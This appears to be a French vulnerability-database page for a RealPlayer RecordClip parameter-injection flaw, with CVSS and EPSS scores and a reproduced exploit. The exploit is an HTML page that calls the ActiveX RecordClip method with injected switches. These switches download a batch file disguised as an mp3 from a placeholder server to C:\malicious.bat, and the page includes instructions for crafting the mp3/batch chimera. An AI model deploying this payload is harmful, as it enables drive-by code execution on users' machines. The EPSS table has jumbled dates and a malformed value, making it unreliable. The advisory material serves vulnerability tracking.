CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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The browser-plugin implementation in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1 allows remote attackers to arguments to the RecordClip method, which allows remote attackers to download an arbitrary program onto a client machine, and execute this program, via a " (double quote) in an argument to the RecordClip method, aka "parameter injection."
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.01%
–
–
2022-02-13
–
–
3.01%
–
–
2022-04-03
–
–
3.01%
–
–
2022-07-17
–
–
3.01%
–
–
2023-02-26
–
–
3.01%
–
–
2023-03-12
–
–
–
11.33%
–
2023-04-23
–
–
–
11.9%
–
2023-06-11
–
–
–
16.81%
–
2023-07-30
–
–
–
28.43%
–
2023-09-17
–
–
–
35.47%
–
2023-11-05
–
–
–
42.55%
–
2024-02-04
–
–
–
45.46%
–
2024-06-02
–
–
–
45.46%
–
2024-10-20
–
–
–
45.46%
–
2024-12-22
–
–
–
45.46%
–
2025-01-12
–
–
–
45.46%
–
2025-01-26
–
–
–
49.02%
–
2025-01-19
–
–
–
45.46%
–
2025-01-25
–
–
–
49.02%
–
2025-03-18
–
–
–
–
4.91%
2025-03-30
–
–
–
–
6.06%
2025-03-30
–
–
–
–
6.06,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2011-01-13 23h00 +00:00 Auteur : Sean de Regge EDB Vérifié : No
Sources: https://www.securityfocus.com/bid/44443/info
http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt
<html>
<p>
Written by Sean de Regge (seanderegge hotmail.com)
Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin
http://www.zerodayinitiative.com/advisories/ZDI-10-211/
C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches:
/t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file
/f will make it download to any location on the disk instead of the realplayer downloads folder
Restrictions:
The extension on server side must be a valid media file (ie: .mp3)
Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a
chimera file, which will parse as a valid mp3 file and a valid batch file.
Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes.
</p>
<OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5">
</OBJECT>
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src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'
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height="180"
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<script>
var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3';
obj.RecordClip(file, "audio/mpeg3", "clipInfo");
</script>
</html>